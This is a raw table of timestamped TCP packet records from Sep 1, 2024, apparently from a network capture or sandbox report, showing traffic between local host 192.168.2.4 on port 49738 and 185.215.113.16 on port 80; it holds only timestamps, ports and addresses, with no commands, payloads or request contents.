Sep 1, 2024 05:09:08.215159893 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215186119 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215195894 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215200901 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215209007 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215217113 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215226889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215236902 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215265036 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215347052 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215356112 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215363979 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215373039 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215382099 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215390921 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215394020 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215399981 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215406895 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215409994 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215419054 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215428114 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215429068 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215437889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215446949 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215454102 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215455055 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215466022 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215490103 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215490103 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215502977 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215504885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215513945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215523005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215528011 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215532064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215540886 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215547085 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215548992 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215554953 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215559006 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215567112 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215575933 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215584040 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215589046 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215594053 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215605974 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215611935 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215631008 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215639114 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215648890 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215651989 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215656996 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215666056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215673923 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215678930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215678930 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215682983 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215692043 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215697050 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215703011 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215732098 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215759993 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215837955 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215847015 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.215890884 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.215991974 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.216001987 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.216046095 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.216325045 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.216336012 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.216372013 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.216465950 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.216519117 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.216612101 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.216669083 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.216684103 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.216695070 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.216732979 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.216878891 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.216918945 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.217052937 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217102051 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.217252970 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217262030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217271090 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217282057 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217292070 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217299938 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.217299938 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217309952 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217319012 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217329025 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.217348099 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.217379093 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.217827082 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217835903 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.217878103 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.217966080 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218018055 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218133926 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218143940 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218152046 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218161106 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218169928 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218178988 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218183994 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218187094 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218200922 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218209028 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218209028 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218218088 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218229055 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218246937 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218259096 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218261003 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218298912 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218458891 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218508959 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218602896 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218612909 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218621016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218631029 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218638897 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218646049 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218677044 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218784094 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218794107 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218803883 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218812943 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218821049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218832016 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218832970 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218842030 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218842983 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218851089 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218863010 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.218864918 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218883038 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.218909025 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219162941 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219212055 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219314098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219324112 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219331980 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219341040 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219351053 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219358921 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219367981 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219367981 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219403028 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219413996 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219485044 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219496012 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219504118 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219512939 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219522953 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219532013 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219538927 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219541073 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219568968 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219585896 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219640017 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219649076 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219657898 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219666004 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219675064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219686031 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219686031 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219693899 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219717026 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219732046 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219794035 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219804049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219813108 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219822884 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219831944 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219841003 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219841957 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219849110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219860077 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.219866991 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219886065 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.219897032 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220403910 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220412970 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220422983 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220432043 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220452070 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220479012 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220594883 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220604897 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220618010 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220664024 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220676899 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220747948 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220757961 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220767021 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220776081 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220783949 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220793009 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220794916 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220805883 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220814943 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220820904 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220824003 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220833063 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220841885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220843077 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220850945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220859051 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220860958 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220880032 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220882893 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.220911980 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.220930099 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221246004 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221255064 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221263885 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221272945 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221295118 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221322060 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221400976 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221411943 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221420050 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221429110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221437931 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221446991 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221448898 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221455097 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221465111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221467018 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221473932 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221482992 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221487045 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221491098 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221504927 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221506119 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221528053 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221546888 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221549034 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221559048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221566916 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221580029 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221587896 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221592903 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221597910 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221610069 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221637964 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221751928 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221761942 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221770048 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221779108 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221787930 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221796036 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221801043 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221806049 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221813917 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221817017 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221822977 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221831083 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221844912 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221874952 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.221900940 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221910954 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221918106 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.221949100 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222054958 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222064972 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222074986 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222105026 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222122908 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222358942 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222369909 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222378016 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222387075 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222397089 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222405910 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222409010 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222415924 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222434998 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222455025 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222490072 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222500086 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222507954 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222518921 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222532988 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222548962 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222687960 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222697973 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222706079 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222714901 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222723007 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222732067 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222738028 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222740889 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222750902 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.222758055 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222778082 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222800016 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.222982883 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223028898 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223119020 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223128080 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223169088 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223267078 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223277092 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223310947 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223452091 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223460913 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223470926 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223504066 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223515034 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223606110 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223617077 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223623991 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223634005 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223642111 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223653078 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223685980 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223767996 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223777056 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223786116 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223797083 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223807096 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223814964 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223815918 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223830938 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223835945 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223856926 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223876953 CEST	49738	80	192.168.2.4	185.215.113.16
Sep 1, 2024 05:09:08.223906994 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223917961 CEST	80	49738	185.215.113.16	192.168.2.4
Sep 1, 2024 05:09:08.223959923 CEST	49738	80	192.168.2.4	185.215.113.16
